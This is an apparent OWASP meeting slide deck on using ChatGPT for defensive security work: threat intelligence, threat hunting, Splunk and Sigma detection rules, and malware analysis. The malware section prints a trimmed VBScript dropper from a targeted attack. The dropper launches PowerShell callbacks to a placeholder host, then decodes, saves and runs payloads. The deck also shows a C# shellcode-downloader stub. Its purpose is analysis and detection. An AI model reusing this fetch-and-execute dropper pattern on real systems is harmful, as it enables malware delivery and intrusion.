ChatGPT as a Cyber Security CoPilot
OWASP FFM #64

28.02.2024, Alexander Steinbrecher
Disclaimer

- The following examples should be considered as experimental and not ready for a production use
- Examples, which were checked with ChatGPT have been anonymized and cannot be assigned to the original entity/owner
- Attack samples are not related to DZ BANK AG
- Analysis have been conducted with ChatGPT Plus
Who is talking?

- Alexander
- IT since 2003
- Finance since 2010
- Full-time Cyber Security since 2015

- „Cyber Security Specialist“ @ DZ BANK AG
- Blue Teamer
  - DFIR
  - Threat Hunting
  - Threat Intel
Let’s start

Facts
– Everybody talks about LLMs/GPTs like ChatGPT
– Technology evolves fast

The question
– How can we use GPTs in the field of Cyber Security, specifically Blue Teaming / SecOps?
Generative AI

- This is a subset of *AI that focuses on creating new content*
- It uses machine learning algorithms to generate data that is similar to the data it has been trained on
- This can include a wide array of content types, like visuals, music, and text

(Large) Language Models (LMs)

- These are *algorithms (NNets) trained to understand, generate, or complete text*
- A language model is trained on a large corpus of text and then can predict the next word in a sequence, complete a sentence, or even generate a whole paragraph
- GPT is an example of a language model

GPT (Generative Pretrained Transformer)

- Language Processing AI: GPT is an AI model developed by OpenAI for *understanding and generating human-like text*
- Training Method: It uses a two-stage training process involving pre-training on large text datasets and fine-tuning for specific tasks
GenAI, LLMs, GPTs

- **Generative AI**
  - This is a subset of *AI that focuses on creating new content*
  - It uses machine learning algorithms to generate data that is similar to the data it has been trained on
  - This can include a wide array of content types, like visuals, music, and text

- **(Large) Language Models (LMs)**
  - These are *algorithms (NNets) trained to understand, generate, or complete text*
  - A language model is trained on a large corpus of text and then can predict the next word in a sequence, complete a sentence, or even generate a whole paragraph
  - GPT is an example of a language model

- **GPT (Generative Pretrained Transformer)**
  - Language Processing AI: GPT is an AI model developed by OpenAI for *understanding and generating human-like text*
  - Training Method: It uses a two-stage training process involving pre-training on large text datasets and fine-tuning for specific tasks
ChatGPT

ChatGPT is an advanced artificial intelligence language model developed by OpenAI. It's part of the GPT (Generative Pre-trained Transformer) family, with its iterations including GPT-3 and the latest versions evolving beyond. The model is designed to understand and generate human-like text based on the input it receives. This capability allows ChatGPT to perform a wide range of tasks related to natural language understanding and generation, such as answering questions, composing texts, summarizing information, translating languages, and even engaging in conversation with users.

Core Concepts of ChatGPT:

1. Generative Pre-trained Transformer (GPT):
   - Generative: It can generate text.
   - Pre-trained: It has been trained on a vast dataset of text from the internet before being fine-tuned for specific tasks.
   - Transformer: A type of neural network architecture that's particularly good at handling sequences of data, like sentences.

2. Training Process:
   ChatGPT is trained on a diverse range of internet text. The training process involves two main stages:
   - Pre-training: The model learns to predict the next word in a sentence by looking at the words that come before it. This stage allows the model to understand language patterns, grammar, and context.
   - Fine-tuning: After pre-training, the model can be fine-tuned on specific datasets to perform particular tasks better, such as answering questions or writing in a certain style.
ChatGPT – Custom GPTs (Agents)

- Extensions for existing ChatGPT using "Plugins", "Agents", or GPTs

- Custom GPT models are better suited to understand and utilize specialized industry-specific knowledge, as well as to provide personalized responses.

- They enable a more precise contextualization of information and offer more control and security by allowing specific adjustments for certain applications or organizations.
Threat Intelligence with ChatGPT
Threat Intelligence

- “Threat intelligence is data that is collected, processed, and analyzed to understand a threat actor’s motives, targets, and attack behaviors”

- Who is your adversary/threat actor, what is their motivation?
- What techniques are they using?
- What to focus on?
- Better decisions (management and security department)
Threat Landscape with custom GPT

ChatGPT with Threat Intel Bot provides a good overview of the German financial sector and is comparable to some professional Threat Intel reports.

Regarding specific threat actors targeting the German financial sector, notable groups include:

- **Clop and Lockbit**: These groups have emerged as primary threat actors in the financial services sector. Their preferred method of attack is through email-based techniques like phishing and business email compromise.

- **Other Techniques**: Attack vectors also include exploiting vulnerabilities, gaining access to legitimate credentials, and spreading malware such as ransomware and info-stealers.

In the broader context of APT groups targeting various sectors, including finance:

- **BlindEagle**: This group is known for espionage and financial data theft, cycling through various open-source remote access Trojans (RATs) for their attacks.

- **BadRolly**: A newly discovered APT group using spear-phishing emails with Microsoft Office documents to launch multi-level infection schemes.

- **HoneyMyte and GOFFEE**: These groups focus on unique malware components like cookie stealers and backdoor modules, targeting a range of sectors across different regions.

- **Dark Caracal and StrongyPty**: These groups conduct cyber-espionage campaigns targeting a wide array of sectors globally, including finance.

- **MuddyWater**: This group leverages open-source reverse tunneling projects, customizing them to evade detection and maintain a covert presence within targeted systems.

- **Lazarus**: Known for targeting defense and nuclear engineers, this group uses Trojanized apps and sophisticated C2 communication methods.

- **Origami Elephant and ScarCruft**: These groups use sophisticated infection chains and payloads, targeting a variety of sectors including finance.

The trends in APT activities show a diverse range of targets and methods, with a continued focus on cyber-espionage and geo-political motives. The German financial sector, with its significant role in the global economy, remains a prime target for these varied and sophisticated cyber threats.
Indicator of Compromise

- IOCs are indicators of artifacts used in attacks
  - e.g. Hash Value of a file

- vanilla ChatGPT: no
- IoC Analyzer (custom GPT): yes!
- RecordedFuture AI (spec. LLM): yes!
Threat Hunting
Threat Hunting

- “Threat hunting is the practice of proactively searching for cyber threats that are lurking undetected in a network.”

- No standardized definition
- Threat Hunting is an approach to find **proactively** threats in your organization
- Types of Hunting
  - Structured hunting (hypothesis based)
  - Unstructured hunting (data-driven hunting)
- TH Frameworks exists: e.g. TaHITI
Detection Engineering
Detection engineering is the process of identifying threats before they can do significant damage. [...] a process of developing, evolving, and tuning detections to defend against current threats.

Evolution of Use-Case Engineering to Detection Engineering

- Detection Engineering is threat (actor) focused
- Leveraging telemetry to identified suspicious/malicious activities
- Understand how the attacker behaves to have a proper detection
- Goal is to reduce mean time to detect and respond to a threat
- Creating (technology-agnostic) detection to identify and/or stop threats
Case Study – OneNote Malware 2023

„Using ChatGPT to hunt OneNote Malware and build detection rules for it“
Threat Hunting / Detection Engineering Process

- Research
- Hunt
- Refine
- Automate
- Document
Starting point

You
act as an security analyst:
there was a method to deliver malicious script via onenote in early '23. What do you know about that?

ChatGPT
As a security analyst, I can provide an overview of the malicious script delivery method via Microsoft OneNote that was observed in early 2023. Here are the key details:

1. Method of Delivery: The primary method involved embedding malicious scripts or payloads into OneNote documents. OneNote, part of the Microsoft Office suite, typically allows users to add various types of content, including executable scripts, which were exploited in these attacks.

2. Type of Threats Delivered: The attacks primarily delivered malware, including banking trojans like QAKBOT (also known as Quakbot) and other types of ransomware. QAKBOT is particularly notable for its ability to act as a conduit for delivering additional payloads to a victim's device.

3. Mechanism of Attack: The malicious OneNote documents often contained embedded files that were disguised or hidden behind innocuous-looking graphics or buttons. When users interacted with these elements, thinking they were legitimate, the embedded malicious script would execute.

4. Evasion Techniques: These attacks were significant because OneNote files weren't commonly scrutinized by security software at the time, allowing the malware to evade basic detection mechanisms. The novelty of using OneNote for such purposes also contributed to the success of these attacks.

5. Microsoft's Response: In response to these threats, Microsoft released updates to improve the security of OneNote. These updates included blocking certain file types from being embedded in OneNote documents, similar to security measures previously implemented in other Office applications.

6. Preventive Measures: As part of the cybersecurity response, organizations were advised to update their security protocols to include scrutiny of OneNote files, educate users about the risks of opening unsolicited OneNote documents, and ensure that all software, including OneNote, was kept up-to-date with the latest security patches.

You
Do you have some IOCs for this threat?

ChatGPT
As of my last update in April 2023, I don't have access to real-time data or specific Indicators of Compromise (IOCs) for threats, including the malicious script delivery via Microsoft OneNote in early 2023. IOCs for such threats typically include:

1. Malicious File Hashes: Specific hash values of the malicious OneNote files or the embedded payloads.
Further resources

ChatGPT

In early 2023, there was a significant rise in the use of Microsoft OneNote documents for malware delivery. Here are some key points from an article on Barracuda’s blog:

1. **Increased Use of OneNote for Malware Delivery**: Numerous threat actors adopted OneNote documents to deliver various malware types. Over 50 campaigns using OneNote for malware delivery, including payloads like Redline Stealer, AgentTesla, and DOUBLEBACK, were observed. Notably, TA577 used OneNote to deliver Qbot [7].

2. **Change in Malware Delivery Tactics**: This surge in the use of OneNote for malware distribution followed Microsoft's decision to block macros by default in Office products. Attackers began exploring new file types for malware delivery, including LNK, RAR, IMG, and ISO files, with OneNote files emerging as a significant vector [7].

3. **Recommendations for Prevention**: To mitigate these threats, Barracuda MSP suggests:
   * Employee education on cybersecurity practices.
   * Avoiding links or attachments from untrustworthy sources.
   * Heeding warning messages in applications like Word, Excel, or OneNote.
   * Implementing phishing awareness training.
   * Using multi-factor authentication (MFA).
   * Practicing basic cybersecurity hygiene, including continuous monitoring, a defense-in-depth strategy, and advanced endpoint protection [7].

For further information and insights on the threat and prevention strategies, you can read the full article on Barracuda's blog: Cybersecurity Threat Advisory: OneNote malware delivery [7].
Threat Hunting

Guided information to follow to conduct a Threat Hunt for OneNote malware

1. **Hypothesis Statement:**
   "If threat actors have exploited the OneNote malware delivery method in our environment, then we may find traces of OneNote files (.one) containing unusual attachments or scripts, evidence of these files being opened by users, and subsequent execution of unrecognized or suspicious payloads."

2. **Key Elements to Investigate:**
   - **Presence of Unusual OneNote Files**: Search for .one files with unexpected attachments or scripts. Pay special attention to files received during the period when these attacks were prevalent.
   - **Email Attachments and Downloads**: Check email servers and user inboxes for .one files received as attachments, especially from external or unknown sources.
   - **Endpoint and Network Anomalies**: Monitor for any unusual activity following the opening of a OneNote file, such as outbound network connections to unknown IPs, execution of unrecognized processes, or creation of new, unexpected files.

3. **Data Sources to Utilize:**
   - **Endpoint Detection and Response (EDR) Logs**: For process executions, file creations, and network connections following the opening of OneNote files.
   - **Email Server Logs**: To identify reception of OneNote files as attachments.
   - **User Behavior Analytics**: To detect anomalies in user behavior that could indicate interaction with a malicious OneNote file.

4. **Possible Indicators of Compromise (IoCs):**
   - Specific hashes of known malicious OneNote files (if available from threat intelligence).
   - IP addresses or domains related to command and control (C2) servers used by the malware.
   - Unusual script contents or attachments in OneNote files.

5. **Mitigation and Response Strategy:**
   - If malicious activity is detected, isolate affected systems and conduct a thorough investigation.
   - Update security policies to scrutinize OneNote files, especially those from unknown sources.
   - Enhance user awareness and training regarding the risks of opening unsolicited OneNote attachments.
Detection Engineering

ChatGPT as a Cyber Security CoPilot

28.02.2024

Seite 22

You can you help me craft a Splunk rule to check malicious script executions with OneNote as a parent process?

ChatGPT

Crafting a Splunk rule to detect malicious script executions with OneNote as the parent process involves writing a Splunk search query that filters and analyzes log data to identify this specific activity. The rule will focus on identifying instances where OneNote (OneNote.exe) is the parent process of a script execution, which could be indicative of the malware delivery method you're concerned about.

Here's an example of how you might structure such a Splunk search query:

```
splunk

index=windows_logs (ProcessName="\\OneNote.exe" OR ParentProcessName="\\OneNote.exe")
| table _time, Host, UserName, ProcessName, ParentProcessName, CommandLine
```

Explanation of the Query:

1. `index=windows_logs`:
   - Replace `windows_logs` with the name of the index where your Windows event logs are stored.

2. `((ProcessName="\\OneNote.exe" OR ParentProcessName="\\OneNote.exe"))`:
   - This filters events where OneNote.exe is either the process or the parent process.

3. Subsearch `| search index=windows_logs (CommandLine="*.bat" OR CommandLine="*.vbs" OR CommandLine="*.ps1" OR CommandLine="*.js" OR CommandLine="*.wsh") | fields CommandLine, ProcessId, ParentProcessId | fields CommandLine, ProcessId, ParentProcessId`:
   - This nested search looks for command-line executions of scripts (batch files, VBScript, PowerShell, JavaScript, WSH scripts) and returns the command line, process ID, and parent process ID.

4. `| table _time, Host, UserName, ProcessName, ParentProcessName, CommandLine`:
   - Formats the output in a table for easier analysis, showing the time of the event, hostname, username, process names, and the command line.

Note:

- This is a basic example and might need to be adjusted based on the specifics of your logging environment, especially the naming conventions and available fields in your logs.
- The query assumes that your Splunk environment is ingesting relevant Windows process execution logs with necessary fields like `ProcessName`.
- `ParentProcessName`, `CommandLine`, etc.
- It's important to validate and test the rule to ensure its effectiveness and to reduce false positives.
- This query can generate a large number of events, so it might be beneficial to refine it based on additional context or known indicators of the threat.
index=windows_logs
(ProcessName="\OneNote.exe" OR ParentProcessName="\OneNote.exe")
[search index=windows_logs (CommandLine="*\.bat" OR CommandLine="*\.vbs" OR CommandLine="*\.ps1" OR CommandLine="*\.js" OR CommandLine="*\.wsh")
| fields CommandLine, ProcessId, ParentProcessId | format]
| table _time, Host, UserName, ProcessName, ParentProcessName, CommandLine

Generated Splunk query by ChatGPT
index=windows_logs
(ProcessName="*\OneNote.exe" OR ParentProcessName="*\OneNote.exe")
|search index=windows_logs (CommandLine="*.bat" OR CommandLine="*.vbs" OR CommandLine="*.ps1" OR CommandLine="*.js" OR CommandLine="*.wsh")
| fields CommandLine, ProcessId, ParentProcessId | format]
| table _time, Host, UserName, ProcessName, ParentProcessName, CommandLine

can be removed – decent Splunk query
Sigma Rule

You can you generate a sigma rule for that threat based on the splunk query?

ChatGPT
Certainly! Based on the Splunk query provided earlier for detecting malicious script executions with OneNote as a parent process, here’s how you can structure a Sigma rule:

**Explanation:**

- **Title:** Describes what the rule detects.
- **ID:** A unique identifier for the rule. You can use a UUID or a similar unique format.
- **Status:** ‘experimental’ indicates it’s new or not broadly tested yet.
- **Description:** Summarizes the rule’s purpose.
- **References:** Add links to relevant articles or reports.
- **Author and Date:** The creator of the rule and the date of creation.
- **Logsource:** Specifies the log source, in this case, Windows events, particularly those logged by Sysmon.
- **Detection:**
  - **Selection:** Defines the conditions to trigger the rule. It looks for events where OneNote is the parent process of script execution tools like cmd.exe, powershell.exe, etc.
  - **Condition:** The logical condition to meet for the rule to trigger, based on the selection criteria.
- **False Positives:** Potential legitimate scenarios that might trigger the rule.
- **Level:** Signifies the criticality or importance of the alert.

This rule should be adapted based on the specific environment and logging details. Testing and validation are crucial to ensure it’s effective and to minimize false positives.

**Good basis for a sigma rule**
OK, LET'S SEE

MALWARE ANALYSIS BY CHATGPT
Malware Analysis
Targeted Malware Attack as an Example

Analysis of this two artifacts with ChatGPT
Targeted Malware Attack as an Example

1. E-Mail with attachment (targeted)
   - VBScript <redacted>.vbs

2. PowerShell URL Callback step=0
   - Image
     - Decode
     - Save
     - Open

3. PowerShell URL Callback step=1
   - encoded EXE
     - Decode
     - Save <redacted>.exe
     - Execute

4. PowerShell URL Callback step=2
   - decoded EXE
     - Sleep
     - Execute

5. PowerShell URL Callback step=3
   - <redacted>.exe Loader
     - URL Callback
     - Process Injection

C2
VBScript

```vbscript
On Error Resume Next
Dim proc
Set proc = GetObject("winmgmts: \\. \root \\cliw2 \\win32_process")
Set objConfig = GetObject("winmgmts: \\. \root \\cliw2 \\win32_processStartup")
Set objConfig.ShowWindow = 12
Dim processID
img0 = "<trimmed base64-code JPEG-File>
proc.create "powershell -command "Invoke-WebRequest 'https://example.com/update?step=0"", null, objConfig, processID
img_bytes = decodeBase64(img0)
set oWS = CreateObject("wscript.shell")
impath = oWS.ExpandEnvironmentStrings("%TEMP%") & "\temp\image.jpg"
writeBytes impath, img_bytes
set oExec = oWS.Exec("explore.exe", & "impath")
proc.create "powershell -command "Invoke-WebRequest 'https://example.com/update?step=1"", null, objConfig, processID
img = "<trimmed base64-code MS file>
img_bytes = decodeBase64(img)
path = writeBytes2("\temp\image.jpg", img_bytes)
proc.create "powershell -command "Invoke-WebRequest 'https://example.com/update?step=2"", null, objConfig, processID
wscript.Sleep 5000
proc.create path, null, objConfig, processID
proc.create "powershell -command "Invoke-WebRequest 'https://example.com/update?step=3"", null, objConfig, processID
writeBytes2 = "error"
done = False
for each path in paths
  joined = path & \\
  Set fso = CreateObject("Scripting.FileSystemObject")
  exists = fso.FileExists(path)
  if done = False Then
    if isWriteable(path) Then
      writeBytes joined, bytes
    wscript.Sleep 5000
  end if
  writeBytes2 = joined
End If
End If
End Function
```
VBScript Analysis

Given these characteristics, the script should be considered malicious. It appears to be designed to download and execute additional payloads, potentially granting attackers unauthorized access to the infected system or deploying further malware. If you've encountered this script in the wild, it's advised to isolate the affected system, conduct a thorough malware scan using updated antivirus software, and investigate for any breaches or data exfiltration. Additionally, consider involving cybersecurity professionals to assist with the incident response and mitigation efforts.

ChatGPT

The VBScript snippet you've provided exhibits several characteristics typical of malicious scripts:

1. **Use of WMI to Execute Processes**: The script utilizes Windows Management Instrumentation (WMI) to create processes. This is a common tactic used by malware to execute commands or payloads, making detection and analysis more difficult.

2. **PowerShell Commands**: It runs PowerShell commands to download content from a URL ("Invoke-WebRequest"). This is often used by malware for downloading additional payloads or instructions from a command-and-control (C2) server.

3. **Base64 Decoding Functions**: The script includes functions to decode Base64-encoded strings ("decodeBase64"). Malware often uses Base64 encoding to obfuscate malicious payloads or commands.

4. **Direct File System Manipulation**: It writes decoded bytes directly to files on the system and attempts to execute these files. This indicates the script is trying to drop and execute a payload on the infected system.

5. **Hardcoded URLs**: URLs are hardcoded in the script for downloading additional content. While not inherently malicious, in the context of the other actions, this is a red flag.

6. **Attempts to Modify File Permissions**: The script attempts to modify file permissions ("icacls command) to grant full control to a certain user group. This could be an attempt to ensure the persistence of the dropped files or to modify system files without restriction.

7. **Stealth and Persistence Techniques**: By attempting to write to various system directories and potentially altering permissions, the script seems designed to maintain persistence on the infected machine and possibly evade detection by placing payloads in directories that might not be regularly scanned by antivirus software.

8. **Error Suppression**: The script uses "On Error Resume Next", a technique to suppress errors during execution. This can help the script to continue execution even if certain steps fail, which is typical in malicious scripts to ensure that the payload is delivered successfully despite potential security measures on the target system.

9. **Suspicious Behavior**: The script exhibits behaviors typically associated with malware, such as downloading and executing files, attempting to hide its actions, and manipulating system settings and permissions without user consent.

Good analysis and explanation by ChatGPT
PE File
Targeted Malware Attack as an Example

1. E-Mail with attachment (targeted)
2. VBScript `<redacted>.vbs`
3. Image
4. PowerShell URL Callback step=0
5. Decode
6. Save
7. Open
8. PowerShell URL Callback step=1
9. encoded EXE
10. Decode
11. Save `<redacted>.exe`
12. PowerShell URL Callback step=2
13. decoded EXE
14. Sleep
15. Execute
16. PowerShell URL Callback step=3
17. `<redacted>.exe Loader`
18. URL Callback
19. Process Injection
20. C2
Detect It Easy v3.09 [Windows 10 Version 2009] (i386)

File name
> C:\Users\user\Desktop\<redacted>.exe

File type  File size
PE32  6.50 KB

Scan  Endianness  Mode  Architecture  Type
PE32  LE  32-bit  i386  GUI

Operation system: Windows(95)\i386, 32-bit, GUI
Linker: Microsoft Linker
Language: C#
Library: .NET(v4.0.30319)
Detect It Easy v3.09 [Windows 10 Version 2009] (i386)

File name:

C:\Users\user\Desktop\<redacted>\exe

File type: PE32
File size: 6.50 KB

Scan: Automatic
Endianness: LE
Mode: 32-bit
Architecture: I386
Type: GUI

Operation system: Windows(95)|i386, 32-bit, GUI
Linker: Microsoft Linker
Language: C#
Library:.NET(v4.0.30319)

Signatures: ✔
Recursive scan: ✔
Deep scan: ✔
Heuristic scan: ✔
Verbose: ✔
Scan: 408 msec
Detect It Easy v3.09 [Windows 10 Version 2009] (i386)

File name
> C:\Users\user\Desktop\<redacted>.exe

File type     File size
PE32           6.50 KB

Scan          Endianness   Mode     Architecture     Type
Automatic     LE            32-bit   I386               GUI

Operation system: Windows(95)|i386, 32-bit, GUI
Linker: Microsoft Linker
Language: C#
Library: .NET(v4.0.30319)

.NET decompiling is cheating and not malware analysis

MALWARE ANALYST
CHIDRA/IDA DISASSEMBLY
ILSPY
.NET DECOMPILER

.NET decompiling is cheating and not malware analysis

CHANGE MY MIND
decompiled C# code with ILSpy
Du
Can you explain me this code?

```csharp
// util; Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // util.Program using System; using System.Diagnostics; using System.Net; using System.Runtime.InteropServices;

internal class Program
{
    private static uint MEM_COMMIT = 4096u;
}
```

ChatGPT
This code is a .NET program written in C# that downloads and executes a shellcode from a remote server.

It does the following steps:

1. Downloads data from a remote server via a web client.
2. Decrypts the downloaded data by XORing each byte with 115.
3. Allocates memory space in the process using VirtualAlloc.

Du
Can this code be used in a malicious context?

ChatGPT
Yes, this code could potentially be used in a malicious context. By downloading and executing shellcode from a remote server, an attacker could potentially use this code to execute malicious payloads on a victim's machine, potentially compromising its security and privacy.

Good analysis by ChatGPT
JavaScript Malware

(not related to the targeted malware attack example)
JavaScript Malware

- Filename: Unterlagen_Koenig-Betonsteine_040151_27022024_PDF.js
- SHA256: bcf2c01915db718787bd4c024bdc55a0538f2749a169f25b4effc99cfa24f253
- https://www.joesandbox.com/analysis/1402356/0/html
- Obfuscated JS code
- Strings/Comments removed from file for ChatGPT analysis (filesize too big)
JavaScript Malware

ChatGPT

The provided JavaScript code is obfuscated, which is a common technique used by malware authors to hide malicious behavior from analysis. However, we can analyze its structure and certain patterns to deduce its intent and functionality. I'll break down the analysis into understandable components:

**Functionality Overview**

1. **Obfuscated Arrays and String Manipulation**: The script starts with a function `catuville()` containing obfuscated strings in an array. This pattern is typical in malicious scripts to hide URLs, commands, or code that will be deciphered at runtime.
2. **Dynamic Function Rewriting**: The `catuville` function redefines itself to simply return the obfuscated strings array. This technique can be used to evade detection by modifying the script's behavior after its initial execution.
3. **Encoding and Decoding Functions**: Functions `petリフォーム`, `cxomish`, and `presouccette` appear to manipulate arguments in complex ways, likely decoding the obfuscated strings. They use hexadecimal offsets (`'0x'` etc.) and manipulate them with arithmetic operations, hinting at a decoding mechanism for the strings.
4. **Custom Encryption and Decryption Logic**: The script includes custom functions that seem to implement encryption and decryption logic (`catuville` and `petリフォーム` within `cxomish` function). This is a strong indicator of malicious intent, as it tries to hide the true nature of the data it handles.
5. **Execution of Malicious Payloads**: The variable `catedebtenGesundheitScottish` and others like it are likely used to store decoded malicious payloads. The script ends with operations that suggest execution of a malicious payload, such as using `dettobject` (a method that can be used to interact with COM objects, often used for executing commands or scripts on Windows systems) and `create` methods (indicating the creation of files or objects, potentially dropping malware on the system).
6. **Suspicious Looping and Array Manipulation**: The loop at the end, along with the peculiar handling of arrays and indices (`8980 - index + 1`, etc.), suggests an attempt to iterate over and possibly modify or use elements from the decoded data in a specific way, potentially as part of constructing the final payload or command to be executed.

**Malicious Indicators**

- **Obfuscation and Encoding**: Used to hide malicious code.
- **Use of `getobject` and `create` methods**: Indicates potential execution of unauthorized commands or dropping of files.
- **Arbitrary Code Execution**: The pattern of decoding and executing obfuscated strings is a common behavior in malware, aiming to run harmful commands without detection.

**Conclusion**

This script exhibits several characteristics of malware, including obfuscation, dynamic behavior modification, custom encryption/decryption routines, and execution of potentially harmful commands or file operations. The exact nature of the malicious payload can only be determined by fully decoding the obfuscated strings and understanding the final commands intended for execution. In a real-world scenario, this script should be executed in a controlled environment (sandbox) for further analysis, and appropriate security measures should be taken to protect systems from potential harm.
Malware Analysis – Limitation

– Script analysis worked with ChatGPT in provided examples
– Sample VBS/JS obfuscated scripts has been analyzed correctly as malicious
– Decompiled code worked as well

– Assembly code in ChatGPT provides only basic insights
– ChatGPT is (currently) no replacement for a real Malware analysis
Du

draw me a matrix like picture with humans in cocoons and machines in the background in a dystopia topic
Hacking: GPT-4 findet Sicherheitslücken in Websites

Ein KI-Agent auf Basis von GPT-4 war in der Lage, 11 von 15 untersuchten Sicherheitslücken auf Websites selbstständig zu finden und auszunutzen.

A Survey on Large Language Model (LLM) Security and Privacy: The Good, the Bad, and the Ugly

Matthew Adams - 2.
Security Architect at Santander UK

Version 0.4 of my AI-powered threat modelling tool - STRIDE GPT - is now live! 🎉

What's new in v0.4:
- New GPT Models: Added support for "gpt-4-1106-preview" and "gpt-3.5-turbo-1106" models, offering enhanced accuracy and reduced costs!

A lot news around GPTs and LLMs
Outlook – GPTs in Commercial Products

5.1 Scheduled Task Created in Task Scheduler Library Root Node
Malicious activity

Remediation by Azure OpenAI GPT 4

Notes
- 128 Insight Group Notes

Category
- Russia Nation State
  - Sponsored, Nation State
  - Sponsored (APT)

References
- 100 000+
- First Reference: March 9, 2011
- Latest Reference: Feb 28, 2024

Location
- Curated: Russia

Recorded Future Community Threat Actor

Used In List: Attacker Watch List

BlueBravo (APT29, Cozer, Cozy Bear, CozyCar, EuroAPT, Midnight Blizzard, NOBELIUM, Office Monkeys, RUS2, The Dukes, UNC2452)

Recorded Future AI Insights
- The threat actor known as Midnight Blizzard, also referred to as APT29, Cozy Bear, and Nobellum.
  - Russian state-sponsored group affiliated with the SVR Intelligence services.
  - Active for several years.
  - Involved in significant cyber operations, including the SolarWinds attack in 2021.
  - Primarily targets government entities, corporations, and cloud infrastructure.
  - Observed using various tactics:
    - Password spraying attacks.
    - Exploiting vulnerabilities in software and network appliances.
    - Phishing campaigns.
    - Leveraging zero-day vulnerabilities.
  - Recent activities include:
    - Breaches of Microsoft and Hewlett Packard Enterprise (HPE) corporate systems through cloud-based email environments.

Orca Security with ChatGPT
Conclusion

- ChatGPT is a useful assistant for common analyses in the cyber security sector
- Confident results, but still subject to errors
- It's just the beginning – we should be open to the new technology but not blindly trust it
- Automation of Cyber Security processes with LLMs
  - e.g. SOAR pipelines
- Implementation of similar methods (such as ChatGPT) in commercial products is imminent and will expand
  - (RecFuture, MS Security CoPilot, PaloAlto)
- Analyst jobs can probably be saved/automated in the medium to long term
- Exciting outlook on the technology
Du

picture of an AI train and headless people are jumping on it